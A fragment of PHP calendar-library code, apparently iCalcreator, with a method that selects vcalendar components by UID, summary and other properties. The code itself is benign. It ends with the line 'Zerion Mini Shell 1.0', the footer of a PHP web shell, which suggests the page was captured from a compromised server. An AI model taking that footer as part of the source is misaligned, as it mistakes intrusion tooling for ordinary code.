 * @param array  $selectOptions (string) key => (mixed) value, (key=propertyName)
 * @return array
 * @access private
 * @static
 */
  private static function selectComponents2( vcalendar $calendar,
                                             array $selectOptions ) {
    $output = [];
    $selectOptions = array_change_key_case( $selectOptions, CASE_UPPER );
    while( $component3 = $calendar->getComponent()) {
      if( empty( $component3 ))
        continue;
      if( ! in_array( $component3->objName, util::$VCOMPS ))
        continue;
      $uid = $component3->getProperty( util::$UID );
      foreach( $selectOptions as $propName => $pValue ) {
        if( ! in_array( $propName, util::$OTHERPROPS ))
          continue;
        if( ! is_array( $pValue ))
          $pValue = [$pValue];
        if(( util::$UID == $propName ) && in_array( $uid, $pValue )) {
          $output[$uid][] = $component3;
          continue;
        }
        elseif( in_array( $propName, util::$MPROPS1 )) {
          $propValues = [];
          $component3->getProperties( $propName, $propValues );
          $propValues = array_keys( $propValues );
          foreach( $pValue as $theValue ) {
            if( in_array( $theValue, $propValues )) { //  && ! isset( $output[$uid] )) {
              $output[$uid][] = $component3;
              break;
            }
          }
          continue;
        } // end   elseif( // multiple occurrence?
        elseif( false === ( $d = $component3->getProperty( $propName ))) // single occurrence
          continue;
        if( is_array( $d )) {
          foreach( $d as $part ) {
            if( in_array( $part, $pValue ) && ! isset( $output[$uid] ))
              $output[$uid][] = $component3;
          }
        }
        elseif(( util::$SUMMARY == $propName ) && ! isset( $output[$uid] )) {
          foreach( $pValue as $pval ) {
            if( false !== stripos( $d, $pval )) {
              $output[$uid][] = $component3;
              break;
            }
          }
        }
        elseif( in_array( $d, $pValue ) && ! isset( $output[$uid] ))
          $output[$uid][] = $component3;
      } // end foreach( $selectOptions as $propName => $pValue )
    } // end while( $component3 = $calendar->getComponent()) {
    if( ! empty( $output )) {
      ksort( $output ); // uid order
      $output2 = [];
      foreach( $output as $uid => $uList ) {
        foreach( $uList as $cx => $uValue )
          $output2[] = $uValue;
      }
      $output = $output2;
    }
    return $output;
  }
}

Zerion Mini Shell 1.0